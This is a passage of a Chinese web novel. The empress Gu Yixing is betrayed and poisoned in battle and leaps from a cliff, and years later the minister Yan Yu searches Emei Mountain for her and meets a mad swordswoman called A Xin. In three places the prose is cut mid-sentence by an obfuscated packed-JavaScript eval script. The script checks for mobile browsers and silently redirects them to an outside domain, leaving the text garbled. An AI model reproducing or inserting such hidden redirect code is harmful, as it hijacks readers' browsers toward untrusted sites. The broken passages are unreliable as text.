然而,仗天方才一刺中残余的剑气依旧将乌桑从马上震下,他捂住胸口,神情痛苦,眉眼之间似乎又流露出些许怨恨。 孤弈行知此刻是击杀乌桑的绝好机会,故不欲给他片刻喘息的机会,直直向他逼去。 “陛下小心!”孤弈行听到背后传来孟启的声音,下意识地侧过身去。 她成功躲过了一支长箭,却依旧感觉后背传来一阵尖锐的刺痛。 孤弈行转过身去,却见喻威举着弓箭的右手还未放下。 孤弈行的目光是从未有过的冰冷,仿佛已是冷入骨髓,随后是一阵冷笑:“喻威,没想到是你!” “你以为……这一箭杀得了我吗?” 孤弈行冷笑着勾了勾唇,随即徒手将后背刺入的利箭拔出,顿时鲜血淋漓,正红色的披风上染上了一大片殷红。 “这一箭确实杀不了你,那你如今再看呢?”喻威知自己如今已经与孤弈行撕破了脸皮,是以也不再伪装,奸笑道。 孤弈行拿着仗天的手微微有些颤抖,她想要聚拢内力,却发现五脏六腑传来一阵剧痛,四肢也极为无力疲惫。她皱了皱眉,吐出一大口深色的鲜血。 这箭上竟有毒……此刻压制了她的内力! “陛下!”一旁还在厮杀的孟启与琴潇急呼,随即拼劲全力抽出身来,护在孤弈行左右。 “陛下快走,琴潇会拼死拖住他们!” 琴潇望着孤弈行,眉眼坚毅,她随即挥舞长枪在孤弈行所骑烈马的马尾上抽了一下,马儿吃痛,便拼了命地向青川峡谷的方向而去,孟启紧随其后。 孤弈行点住了自己的穴位,刻意让毒在周身游走缓慢,延缓毒发的时间。 她手持仗天,用尽余力刺向转而扑向她的一部分喻威部下,深色的眼眸此刻隐约泛着几分殷红,恍若沁血。 待到进入青川峡谷之时,她转身望向来时的方向,见琴潇正率军与敌殊死一战。而她的身旁,孟启亦率领他的部下拼死护她周全。 她的胸口忽然泛起一阵从未有过的情绪。 世间尊位,孤独是常态,而她孤弈行却不是孤身一人。 剧毒麻痹了孤弈行的神经,她浑浑噩噩地,也不知道马儿飞驰了多久。等到她再拼尽全力睁开眼时,只见面前已是白茫茫一片。 正红色的披风上,深红的血液滴落在雪地里,仿佛缀在雪原里鲜艳而又迷人的罂粟花。 “陛下,坚持住!”孟启眉头紧锁,望向孤弈行的眼神中已是无法掩饰的焦急与担忧。 孤弈行白皙的脖颈处青筋凸起,豆大的汗珠从她的额间滑落,没入她的衣领。然而从始至终,她都没有闷哼一声。 按照孤弈行先前研究的地图,她猜到他们马上便会遇到绝路。 果不其然,孤弈行感觉到烈马奔驰的速度显然慢了下来。她有些吃力地抬眸,只见不远处是一处断崖,她勾了勾唇,没人看清她眼眸深处的情绪。 她和孟启都知道,喻威的军队很快就会追过来,留给他们的时间不多了。 “别担心,不过殊 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“王上,您很好,孟启从未有过奢望。或许……他会做得更好。” 孟启转过身,他的眼眸深处随即隐去了其他情绪,只余几分决然。 他走上前去,取下孤弈行身后的正红色披风,披在自己身上。他望着远处细密的人影,没有片刻犹豫,下一秒便手持缰绳,毅然往相反方向踏马而去。 孤弈行望着远去的背影,握着仗天的右手微微攥紧。 然而,她却不能一味地放任自己沉溺于悲痛的情绪中,因为她知道,这是无数人用生命为她换来的一线生机,她一定,要努力活下去,将来才能为他们报仇。 孤弈行转过身去,望着眼前深不可测的断崖,一跃而下。 片刻之后,她竟感觉到失重感消失了,自己身上的戎甲挂在了早已枯死的,褐色的树干上。 孤弈行的嘴角渗着血,她已经十分虚弱,却还是咬着牙,用尽自己的最后一点力气挣脱了枯枝,艰难地俯身到断崖边上。 她的手指脱力,因而在她用力寻找支撑点之时,仗天剑便脱了手,以极快的速度继续下落,直到不再出现在她的视野之中。 孤弈行微微有些失神,但却没有停下,强烈的求生欲使得她成功保持了片刻清醒。她定了定神,睁开眼睛便隐隐看见断崖边上竟有一处小径。 她顺着那条路走,走得极慢。然而即使如此,她的嘴唇早已没有半分血色,眼神也有些恍惚。 直到看到一棵枝干粗壮的老树时,她终于支撑不住了,顺势便靠了上去,喘了两口气,随即痛苦地吐出了一大口鲜血。 她看着此地空无一人,自己又毒入肺腑,如今就连呼吸一口空气都会让自己疼入骨髓,想着自己或许还是要辜负孟启所托了。 不过说来也怪,临死之时,世上大多人都会感到恐惧,孤弈行此刻倒是丝毫没有如此感受。 行军之人,难免一死。像孤弈行这种成日带兵打仗的人,自踏上沙场的那一日起,便已对死亡有了充分的准备,她只是没想到,有朝一日竟会死得这么憋屈! 想到这里,她自嘲地笑了笑,感觉浓重的血腥味已经在她的整个口腔里弥漫开来。 她并非害怕死亡,只是不甘,或是感到有些遗憾,遗憾没有在以前对自己身边的人更好一点,遗憾没有活得更洒脱,没有闯过江湖,遗憾对他只是……还不曾…… 孤弈行愣了一下,望着远处的山峦,顽劣地勾了勾唇,眼底尽是风流肆意。 万物寂静,孤弈行感觉到自己的视线逐渐模糊,最终归于一片黑暗…… 23. 隔世 言煜日夜兼程,等到他赶到之时,他的眼眸深处已经布满了血丝,可终究还是迟了。 青川峡谷外的荒原之上空无一人,唯有还插着凤字旌旗的营帐,还有无数倒在血泊中的尸体。 分明已入春,武延城外却还是在这一日飘了雪。雪花纯净,落在浑浊的血水里,却也再不见最初的颜色。 言煜心中惴惴不安,仿佛失了神似的跪在雪地上寻找,就连长袍都被混杂着血水的雪水浸透,却始终无果。 他微微抬眸,余光瞥见一路蔓延至青川峡谷之中的马蹄印,随即没有片刻犹豫地翻身上马,向青川峡谷而去。 凛冽的寒风中,言煜骨节分明的双手已经被摧残得不像样子。然而此刻,他的双手仍然死死地攥着缰绳,任凭粗糙的绳子在他的虎口处磨开一道道鲜血淋漓的口子。 言煜一路赶至雪原,循着被风雪覆盖的,尚且隐约可见的马蹄印和血印寻找着她的踪迹。 这一日的风雪极大,雪原目之所及几乎是白茫茫的一片。北风仿佛锐利的匕首刮过他的脖颈,分明是火辣辣的,他却仿佛失去了直觉。 他骑在马上,身体却剧烈地颤抖着,一阵阵钻心的疼痛似藤蔓从心口传来,随后蔓延至全身。 他却一时分不清是身体更疼,还是他的心更疼。 他的脸色惨白,唇色也极浅,没有一丝血色,眉间已是隐上了一层霜雪。 言煜不知道这场暴雪是为谁而下的,只见满目疮痍,了无生机。 雪漫人间,满目苍穹,却找不到一片属于她的雪花。 言煜不由自主地生出了一种鲜少有过的无力感,但他很快逼着自己振作起来。 她不会死的……不会就这么死的……一定不会…… 言煜拖着病痛难耐的身体自雪原而下找去,他仿佛疯了一样,不死不休,尽管几次他因为落寒散发作导致的钻心疼痛倒在地上,头晕目眩。 但每一次,他都会吃力地喘几口气,然后再站起来,继续寻找。 那三日三夜,他日夜不眠,不知走过了多少路。 那双矜贵的凤眼深处此刻已经布满了血丝,疲惫不堪,就连他的下颚上也已经长出了青色的胡茬。那样的言煜,是他自己也不曾见过的狼狈。 三日之中,暴雪从未停歇,仿佛是要死了心地为逝去之人弹奏一首祭魂曲,可他言煜偏偏不信邪! 尽管他每走一步,他的胸口便如同覆了一层冰晶一样,让他冷得喘不过气来。 就在他摇摇晃晃,快要再一次支撑不住虚弱的身体倒下去的时候,他的余光却瞥见了不远处一棵老树树干上的血迹。 言煜不顾身体的疲惫和钻心的疼痛,扑了过去。然而他的身体却不听他使唤地往一处倒去,他猛地踉跄了一下,最终还是支撑着走到了那老树周围。 老树上深红的血迹已经干透,却因为树叶和树枝的阻挡没有被风雪掩盖。 言煜静静地望着那血迹,银质的面具之下凤眼深处浓烈到极致的情绪已然难以掩盖,这几日压抑的所有情绪也在这一刻在他胸口肆意翻腾。 他有一种预感,孤弈行确实来过这里,此刻血迹尚存,人却不再,她或许……还活着! 言煜转过身,望着断崖之外绵延起伏的山峦,右手微微攥紧,眸色渐深。 永元三年,凤希帝孤弈行亲征匈奴,却于青川一役中不知所踪,上将军喻威夺得大权,不久登基称帝,改国号为雍,世称宗武帝,年号建武。 纵然江山易主,人们对于这位“先帝”似乎还是格外好奇,或者说是忌惮。 众人心知肚明,当今圣上对这位“先帝”更是忌惮到了极点,生怕世间有第二个孤弈行的出现。 然而宗武帝穷兵黩武,苛捐杂税,又沉迷享乐,不久民间便怨声四起,常有动乱。 市井之间更有传言,若孤弈行还存于世间,她归来之日,便是江山再次易主之时。 五年后,御书房。 几个时辰后,一众大臣议事完毕,正欲散去,坐于龙椅上的宗武帝似是想到了什么。 他一身明黄龙袍,举止之间威严尽显,皇室密药将他的容颜保养得不错,却也已算不上年轻。 他抬头望了一眼面前的男子,微微皱眉,神情严肃:“焕卿留下。” 众臣散去,御书房中顿时只余宗武帝和一青年男子两人。 那青年男子身着紫色官服,长身玉立,给人以贵不可言之感。 宗武帝微微抬眸,忍不住勾了勾唇。时至今日,他终于明白为何市井传言当年眼高于天的孤弈行会心悦此人。 面前男子生着一副世间仅有的好皮囊,五年过去,依旧风姿过人。 他生着一双极为庄重的凤眼,眼神藏而不露,眼尾却微微上扬,让人不禁怀疑他的风流是藏在骨子里的。 不仅如此,眉眼似月,鼻梁高挺,薄唇如玉,身形颀长,完完全全令人挑不出错处。纵然宗武帝是男子,看了也难免有些艳羡,更不必说女子了。 “焕卿,你可知,朕今日唤你留下所为何事?” 言煜笑了笑,声如温玉:“臣不知。” “这些年过去,朕令人找遍了大江南北,依旧无她踪迹,可朕却不相信她真的死了。”宗武帝声音低沉,落入面前之人耳中却有些刺耳。 “传言峨眉一代隐秘清幽,朕欲令爱卿前往查看,顺便替朕体察民情,不知爱卿意下如何?” “臣,领旨。”言煜行了一礼,眉眼落入昏黄烛光的阴影里,神色不明。 宗武帝满意地点点头,随即似是想到什么,勾了勾唇,言语之间意味深长:“多年过去,爱卿可还记得她的模样?” 言煜微微抬眸,默声不语。凤眼深处似有暗流涌动,却又仿佛蒙了一层薄雾,眼神藏而不露。 宗武帝挑逗似的笑了笑,随即从一众书画卷轴中取出一副看上去最不起眼的卷轴,将卷轴缓缓摊开,画中鲜衣怒马的女子随即映入言煜的眼帘。 女子一袭红衣,弯弓射箭,霸气侧漏。一双桃花眼风流,笑容是一如既往的张扬肆意。 她的剑眉微微上挑,眼眸直直地望着前方,竟让言煜生出一种画中人正在凝视他的错觉。 言煜微微一怔,随即掩了神色,令人挑不出一丝错处。他望着画中的女子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828735|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眸色渐深。 “臣已熟记。” 言煜在公公的带领下出了御书房,他走了几步,望着面前的皇城,脑海中竟不由自主地浮现出一些零散的画面。 他眼神迷离,一时失神。 “言大人?”张公公见一旁的男子在原地站住,小声提醒道。 言煜回过神来,勾了勾唇,浅笑道:“公公不必送了,言某自己出宫便好。” 言煜话已至此,张公公便也不好多说,于是行了一礼,转身走入了御书房。 这一切,被一旁经过的大理寺卿徐意晚看在眼里。他望着远去的男子身影,微微敛眸。 他徐意晚入朝为官十数载,也算是识人无数,可是整个大雍上下他最看不懂且最忌惮的,唯有言焕卿一人。 当年前朝右相言钟正因病离世,言煜为其守孝三年,是名副其实的孝子,受世人称颂。然而守孝结束后,他却做了一个令所有人都想不到的决定——参加科举。 此人才华横溢自不必说,然而早年曾有无数人劝其为官,他皆尽数推辞,此次却是一反常态。 世上人都道是由于父亲早世,他作为长子不得不担起家庭的重任,这才入朝为官,但徐意晚却总觉得这背后或许还有其他原因。 徐意晚皱了皱眉,他还记得言煜此人刚入仕之时,其他官员都以为他只是占了他父亲的光,故而没人把他放在眼里,甚至还有人言语嘲讽地称他为小言大人。 而后仅仅两年,此人便从他手下大理寺少卿一位一路高升,破以科举舞弊案为首的大小案件无数,同时在北地蝗灾肆虐之时又立首功,被破格提拔,如今成为了数百年以来最年轻的吏部尚书,深受圣上器重。 在他眼中,此人最可怕之处不仅在于他的才华,还在于他看似不争不抢,温文尔雅的态度和一颗令人永远猜不透的玲珑心。 这样的人,最好避而远之。虽然世人都道他有圣贤遗风,徐意晚却觉得这副绝好的皮囊下,或许藏着不为人知的一面。 言府。 “少爷,我们什么时候出发?” 飞鸢见自家少爷望着手中的一块墨玉玉佩默不作声,忍不住问道。 “收拾行李,今日便走。” 言煜敛了敛眸,似乎在隐忍着什么。他抿了一口茶,却丝毫没品出清新绵长的滋味,只觉淡淡苦韵涌上心头。 飞鸢不再说话,只是按照言煜的意思开始收拾此去峨眉要用的衣物行囊。 这几年来,他算是更加摸清了他家少爷的脾性。若放在平日,他家少爷绝对是最好说话的那一个,但若此事与先帝有关,那便是刻不容缓。 飞鸢无奈地叹了口气,他知道,她是少爷的夙愿,也是少爷的遗憾。 “你知道吗?他今日竟拿着你的画像问我是否还记得你的样模样。” 言煜勾了勾唇,言语之间尽是嘲讽。 他端起一只空的白玉杯,伸手推开窗户,似要去接窗外的落雪。 白色的雪花落在他骨节分明的右手上,刺痛的感觉分明令他下意识地微微颤抖,他却仿佛甘之若饴。 “可我一刻都不曾忘记。” 24. 疯子 三日后,言煜一行人抵达峨眉山脚下。 言煜正在饮茶,却隐约听见不远处传来的刀剑相撞的声响。他将杯子放下,随即抿了抿唇,伸出手轻轻拨开了车帘,窗外的世界顿时映入了眼帘。 此时已经入冬,峨眉山脚下的山林裹上了一层晶莹的白霜,目之所及皆是白茫茫一片。 日升时分,金色的日光照耀在巍峨的山间,似是要把沉睡的峨眉山唤醒。山林随即被朝霞染红,与层层云海相接,美得颇具气势。 待到马车离山脚更近了些,言煜看清了在一方简易的擂台上,一个白衣女子正在与一个彪头大汉比武,擂台四周顿时围了不少人。 那女子左手用一根竹筷穿着一块金黄饱满的玉米,右手持剑,在与那大汉比武的间隙还时不时地啃上几口香甜的玉米。 大汉显然被激怒了,随即提着大刀便向那女子砍去,那女子以守为攻,看上去脚步虚浮,下一秒却把那大汉钉在地上,使他动弹不得。 众人看着那大汉的狼狈模样捧腹大笑,女子又狼吞虎咽地啃了几口玉米,玉米随即被吃了个精光,她随手便把玉米棒扔在了一边,一脸意犹未尽的模样,眼神时有疯癫。 言煜勾了勾唇,似是起了兴致,披上飞鸢早就准备好的玄色大氅便走下车去,斜斜地倚在一旁。 “这小丫头究竟是什么来历?竟这般厉害!”人群中一个个子不高的男人忍不住问。 “好像是被峨眉掌门捡来的小弟子吧。不过……”一旁男人的声音低了下去,“听说是个疯子,还是个连峨眉掌门都打不过的疯子。” 那个子不高的男人一脸诧异,等到再看那女子之时眼里便再无半分轻慢的神色。 “没意思,不玩了!”女子撅着嘴,向台下扫视了一圈,转身就要走,却被一个衣着华丽的青年男子拉住了小臂。 “疯子,本少爷和你比!” “哦!有玉米吗?”女子用一双圆溜溜的大眼睛打量着他,随即下意识地砸吧了一下嘴。 “放心!玉米管够!” 男子的声音沉沉的,落入众人耳中,却多了几分轻佻的意味,然而却没有人敢为了这个疯子得罪孙家的大少爷。 众人皆知,孙家在峨眉一带可以说是地头蛇的存在,不仅有着万贯家财,势力更是不可小觑。 而这位孙家大少爷孙宏允又是孙家年轻一代之中仅有的男丁,故而从小就被宠上了天,嚣张跋扈惯了。 此人性情顽劣,吃喝嫖赌那是样样都沾,祸害了不少姑娘!今日看来,这疯子姑娘只怕是也要遭殃喽!众人心知肚明,却也不敢吱声,只是心中为这个武学奇才暗暗惋惜。 那白衣女子却像是丝毫没有察觉到异样,转过身去痴痴地笑着,一双眼睛晶莹透亮,令人见了忍不住多看几眼:“好啊!” 然而下一秒,她便拔剑而起,虽着一身素衣,却是气势如虹。 她的剑速度极快,且剑走偏锋,有那么一瞬间,言煜竟觉得自己又看见了她,一如当初她将孤云平天的招式逆转使出。 他的心一时间跳得很快,仿佛下一刻便会从身体之中迸出。他的右手微微攥紧,矜贵的凤眼深处仿佛凝了一层薄雾,令人看不清楚情绪,实则已是暗流涌动。 明明是极为陌生的眉眼,明明是看上去完全不同的两个人,他却似乎能隐隐感受到那副陌生面容之下掩盖着的,熟悉的气息。 只见那富家子弟还没反应过来,白衣女子便已经站在他身前不足一尺之处,手持长剑向他刺去。 孙宏允侧身躲避,却遇上对方步步紧逼,模样很是狼狈。然而没过多久,孙宏允便发现,他完全接不住对方的剑招。 每次当他觉得自己要被挑下擂台之时,他又发现对方好像真的有点疯癫,每次都收了攻势,让他起了身,但没过多久便又让他陷入了死局,好像在耍他玩似的。 孙宏允第一次在众人面前如此颜面尽失,很快红了眼。他死死地盯着面前看上去人畜无害的白衣女子,心里恨不得让其死无葬身之地。 白衣女子却好像丝毫没有感受到对方眼眸深处的恶意,憨笑着耍剑而去。 另一旁,言煜也在注视着她的一举一动。 只见她身轻如燕,反手持剑,剑行似燕飞,剑落如风停,随后剑指对手,整套剑招下来如行云流水,显然是峨眉派的白眉剑法。 然而正当众人眼睁睁地看着那女子剑指富家子弟,让他动弹不得,背后泛起一阵冷汗之时,那女子却骤然之间没了刚才的神情。 她的手腕一松,手中的剑啪嗒一下掉在了地上。 她望着面前冷汗直流,吓得够呛的男子,慢悠悠地绕了一圈,歪了歪头,似是下意识地伸出了手,温言道:“你没事吧?” 孙宏允方才吃了大亏,见她伸出手来直接惊慌无措地向后退了好几步,差点踉跄着一屁股坐在地上。然而他的后背蹭在粗糙的栏杆上,也是没好受多少。 但没过多久,他就发现面前的小丫头是真的不太正常,他还没说什么,面前的小丫头倒是哭得涕泪俱下,可谓是令闻者伤心,听者落泪。 “疯子!你哭什么?”孙宏允好不容易按捺了蹿在心口的怒火,只觉这一切简直莫名其妙,忍不住问。 那被叫疯子的白衣女子闻言抽泣得更厉害了!她的眼眶微微红肿,豆大的泪珠顺着白皙的肌肤滑落到下颚,竟似真的伤心极了。 “我……我看你被撞得好疼啊……好可怜……就忍不住哭了。”说完她又低下头去,身体因为抽泣而忍不住微微颤抖。 众人大受震撼,纷纷议论:“还真是个疯子……” “你有病吧!臭疯子!” 孙宏允养尊处优了这么些年,谁人见他不是恭恭敬敬,目光艳羡,今日还是生平第一次被人说是可怜…… 下一秒,他似是想到了什么,右手伸到了背后,眼神阴沉,邪邪地笑了一下。 他微微垂眸,下一秒便手持毒针,轻轻一甩,毒针便向那疯子姑娘刺去。 还没等众人看清局势,便见一男子踏雪而来,将那疯子姑娘揽入怀中,那人正是言煜。 孙宏允一时傻了眼,抬眸便见面前男子身着一袭玄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828736|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袍,腰间系着一块墨玉玉佩,举止之间尽显雍容华贵。 男子的眼眸本是极为矜贵的凤眼,此时望着手中的毒针,却隐约渗出丝丝杀意。 孙宏允不知面前人身份,直觉却告诉他此人是个不好惹的角色,因此便也不再继续刁难。 那疯子姑娘抬了抬眸,注意力已经完全不在一旁脸色难看的富家子弟身上。 她只见男子的下颚分明,鼻梁高挺,日光似碎金散落在他的眉间,更衬得他眉眼如画,那深色的眸子里仿佛装得下一整片星河。 不知为何,她竟觉得这个在她的印象里素未谋面的男子有些熟悉。至少,一种潜意识的情绪告诉她,他不是敌人。 “你长得真好看。”疯子姑娘直勾勾地盯着面前男子,痴痴地笑。 言煜似是想到了什么,低头仔细地打量起面前的女子。 只见她生着一双薄唇,与记忆中她的嘴唇有些相似,却因不点胭脂而更显素净,失了几分张扬。 纵然多年未见,言煜还是将她的模样刻在了骨子里。他仔细地察觉到,虽说嘴唇有些相似,面前女子的上半张脸却与她的模样截然不同。 一双杏眼楚楚动人,不似她的眼眸风流,眉如柳叶,虽是很美,却不似她的剑眉那般凌厉,还有鼻梁似乎也低了一些。 这完全不同的两张脸,分明就属于完全不同的两个人。言煜眸色渐沉,却神色不显。 他抿了抿唇,望着那双灵动的大眼睛,浅笑:“姑娘,方才冒犯了。” 疯子姑娘挥了挥手,恋恋不舍地起了身,便听见背后一阵声音响起。 “阿心……阿心!”一位穿着峨眉弟子素袍的年轻女子急匆匆地跑到那疯子姑娘身边,神色焦急,“阿心,你没事吧?” 这下众人才知道,原来这疯子姑娘有名字,叫阿心。 阿心摇了摇头,随即低下头去玩手指了。 那峨眉弟子松了一口气,她的余光瞥见一旁的玄衣男子,一时愣神,随后目光落在他腰间的墨玉玉佩上,道:“在下素娥,师父已经交代过了,大人随我上山吧。” 言煜微微颔首,然而刚走了几步,他便转过身去,目光落在了阿心身上。 他勾了勾唇,眼尾微微上扬,道:“姑娘,在下有个不情之请,想让阿心姑娘带路。” 素娥一时间以为自己听错了,毕竟有谁会想到让时而正常,时而疯癫的阿心带路呢?这也太为难阿心了! 她看了看阿心,又看了看自己,最终还是因为面前男子的姣好容貌心软了。她走到阿心身边,牵过她的手臂,小声说了一句:“阿心,这位大人想要你带路上山。” “我?”阿心指了指自己,随后又向言煜站立的方向望了望,笑意爽朗,“好啊!” 起初上山的路还算顺利,但是好景不长,言煜很快发现自己开始走下坡路,素娥自然也知不对,走上前去正要拉住阿心,却见阿心蹲了下来,浑身发抖。 “不要,不要……不要走……不要走!”阿心嘴里一直念着这几句话,脑袋好像失控了一样,不由自主地摇晃。 25. 强求 “阿心姑娘?”言煜试探地问道,他深色的眼眸似一泓幽潭,令人看不清浅深。 阿心没有回答,只是继续小声嘀咕着什么,但言煜却似乎听到了父亲,不要走之类的字眼。 素娥见状走上前去,挡在阿心身前,似乎是担心她的举动会冲撞到这位师父口中尊贵的客人。 她眉头紧锁,轻柔地抚摩着阿心微微颤抖的后背,安慰道:“阿心不怕,没事了没事了。” “阿心姑娘这是,怎么了?”言煜的声音略显低沉,却依旧很好听,以至于素娥还是愣了一下。 素娥强迫自己定了定神,柔声道:“大人有所不知,阿心患了一种疯病,时好时坏,以前很多的事都记不起来了。” “原来如此。”言煜抿了抿唇,似在思索。然而下一刻,他便上前走了几步,走到阿心身前。 他的目光落在她的身上,便移不开了,他缓缓向她伸出手。 “阿心姑娘,你没事吧?” 言煜的眉眼含笑,目光柔和,言语之间仿佛清风过隙,就连飞鸢都不得不承认自家少爷撩拨起姑娘来的手段可谓一绝。也就是他是个男子,若是女子,估计也很难忍住不心动! 结果飞鸢发现,自家少爷的话仿佛一剂良药,那方才发了疯的阿心听了之后似乎也没先前那么闹腾了。 阿心的身体仍在微微颤抖,但当她缓缓抬起头来望见面前男子的笑颜时,她好像清醒了不少,便也努力对着他笑。 她的笑容清澈,看似不夹杂多余的感情,然而只有阿心自己知道,她的心里竟生了几分暖意,随后如涓涓细流般蔓及全身,是从未有过的舒爽。 她小心地,将手放在那指节分明的手上。然而当她的指尖轻轻触及他的骨节之时,她却是微微愣了一下,却乎很快隐去了一些情绪。 虽然她忘记了很多事,但直觉告诉她,这样的一双手,应当最擅抚琴。 言煜能感觉到她缓缓起身之时有些颤抖的手掌,而他的手掌却是稳稳地将其托住,毫无疑问给了她最好的支撑。 阿心向他感激地笑了一下,随后定了定神,继续带路了。这一次,倒还真将言煜一行人带到了山顶。 峨眉山巅渡因楼,是峨眉派掌门素朝英的居所。 渡因楼四周群山环绕,若无人带路,外人断无轻易登顶的可能。这么一看,阿心姑娘最多是疯,可绝不能算得上是傻。 言煜眼尾微微上扬,薄唇轻抿,神色不显。 “大人,渡因楼便在此处,我与阿心不便入内,就先告辞了。”素娥道。 “有劳。” 言煜浅笑颔首,然而他却缓缓侧过身,目送着二人的离去,直到二人的身影消失在氤氲云雾之中,才敛了目光。 “那阿心姑娘不过是个疯子,少爷为何这般上心?” 这五年来,飞鸢还是第一次见自家少爷对一个女子这般上心。 不要说是长相平平的女子,多少容貌倾城的花魁,抑或是世家贵女,都无法令他家少爷侧目。今日一反常态,实是奇怪得很。 “在这世上,最可怕的不是疯子,而是精神正常的疯子。”言煜缓缓开口,眉间似隐了一层薄雾,令人看不分明。 然而很快,凤眼深处的情绪就变得难以掩盖。 他的眼眸深处似蕴着一泓幽静的深潭,此刻却被狂烈的风拨动着,泛起阵阵波澜:“以我对她的了解,若她还活着,必定不会以真面目示人。” “她不来见我,或许是有不得已的苦衷。”然而下一刻,言煜的眸色却沉了下去,声音有些沙哑,“又或许,是我让她失望了。” 听到此话,飞鸢有些急了,还没整理好思绪便抢着开口:“不会的,一定不是这样的!少爷这些年对陛下的情意飞鸢都看在眼里……您愿意为她去做一切自己不喜欢的事,为她经营,放弃了那么多……怎么会……” 言煜见他急红了脸的模样,都忍不住勾了勾唇。 “飞鸢不会说话,但是陛下如果还活着,一定不会对少爷失望的。” “记住我说的话,隔墙有耳,下不为例。”言煜轻轻抚了抚他的肩膀,眼眸深处的情绪逐渐隐去。 他好像又做回了那个世人眼中身居高位,却与世无争,无欲无求的圣人,但飞鸢知道,那只是因为他的心只为一人敞开。 如今那个人不在,他的|欲和求好像都被很好地藏了起来,但那身躯壳之下的内心实际上早已是千疮百孔,疲惫不堪。 他考虑了很多,却唯独没有考虑他自己。 或许她已经……飞鸢的心似乎被揪了一下,一时失神。然而当他看着面前的言煜,却始终说不出半个字。 此刻,言煜已经立在渡因楼的牌匾下,轻轻扣门。 门从里面被打开,言煜见一中年女子一身玄灰长袍,头戴素冠,眉眼坚毅,其间蕴藏侠气,便知是峨眉掌门素朝英无疑。 “素掌门,久仰。” 素朝英抬眸,见面前男子生着一双极为庄重的凤眼,眼神藏而不露,眼尾却微微上扬,让人不忍怀疑他的风流是藏在骨子里的。 她方才就留意过面前男子的身姿,察觉到他身轻如燕,内力浑厚,便知其武功不在自己之下。更可怕的是,他或许还隐藏了几分自己的真实实力。 世人皆道言煜是公子如玉,一身文弱,殊不知他精通武艺,深藏不露。 想到这里,素朝英忍不住微微侧目。 “言大人,此次前来,不知所为何事?” 素朝英浅笑着引言煜入了渡因楼,而飞鸢则被留在了楼外,随后楼门缓缓合上。 “不瞒掌门,焕卿此次前来,是为寻一故人。”话音未落,言煜眸色渐深。 素朝英未曾停下脚步,言煜却觉越往里走,熏香的味道便越发浓郁。香炉的香灰染上了长袍的衣角,香气便越发挥之不去。 一直走到一间画室,素朝英才转过身去,正对上那一双矜贵,却令人看不透的眼睛。 “大人怕是算错了,峨眉山没有你要找的故人。” 只一个细小的眼神,便让言煜感受到了素朝英的敌意。 素朝英把自己引到此处,熏香香味浓重,若掺杂些许迷香或者软骨散,亦不易察觉。素朝英是在警告自己,若是自己别有居心,她便不会手下留情。 但素朝英此举反倒印证了言煜的猜想。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828737|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只想知道,她答应与素未谋面之人一见,背后为的究竟是何人? 是……她吗?想到此处,言煜感到自己的心仿佛停了一下,随后心跳不受控制地开始加快。 言煜知自己若再遮掩,素朝英疑心只会更甚,便不再隐藏神色。 他眼神忧郁,眼眸深处却又不时泛起缕缕光亮,似暗夜之中的星光,仿佛映着记忆中她鲜衣怒马的模样。他伸出右手,将腰间的墨玉玉佩微微攥紧。 “我找了她五年,几乎找遍了大江南北,可还是没有找到她的踪迹。” 他的眉似墨月,此刻微微蹙起,更显得他的眼神有些易碎。 他不再如往常一般强颜欢笑,而是任凭自己麻木的内心被利刃割开,一地鲜血随之散落。 五年来,除了赵霖,他没有在任何人面前流露出如此浓烈的情绪。如此……几乎算得上是失态。 可他实际上,压抑得,快要疯了!他是有一副玲珑心肠,可他的心也只有一颗。 “我只后悔,当时没有拦着她,或许我当时就该与她一同去武延,她也不会……” 素朝英似是没想到言煜竟会如此毫无保留地在自己面前暴露心事,她似是想到了什么,微微一怔。 “你要找的人,不在峨眉。”素朝英强忍住内心的触动,冷冷地说了一句。 “言大人对故人的感情确实令人动容,但大人是否想过一种可能,你要找的那位故人或许早在几年前便已离世?” 言煜自嘲地笑了笑,眼眸似在沁血:“我会一直找下去。” “素某当时为此楼取名渡因,便是渡世间因果之意。世间之事,皆有因果定数,大人又何必强求?” 素朝英转过身,远远望着画室素白色墙壁上挂着的一副卷轴,不再说话。 “我不喜强求,唯有她,是我唯一的强求。” 言煜的声音低沉,甚至可以说有些沙哑。他侧过身去,使得素朝英无法看清他的神色,但只一个背影,看上去却是格外凄凉,让素朝英一时恍惚。 她仿佛在面前的人身上,看到了自己的影子。 不必直视他的目光,素朝英就能从他的声音里察觉到几分隐忍的,歇斯底里的意味,那是一种入骨的执拗,甚至可以说,是一种痴狂。 素朝英逼迫自己敛了神色,缓缓开口:“既如此,素某只能祝大人早日得偿所愿。” “多谢。” 言煜转过身,嘴角微微勾起,依旧是那副令人挑不出错处的温润公子模样,仿佛刚才压抑着内心的另有其人。 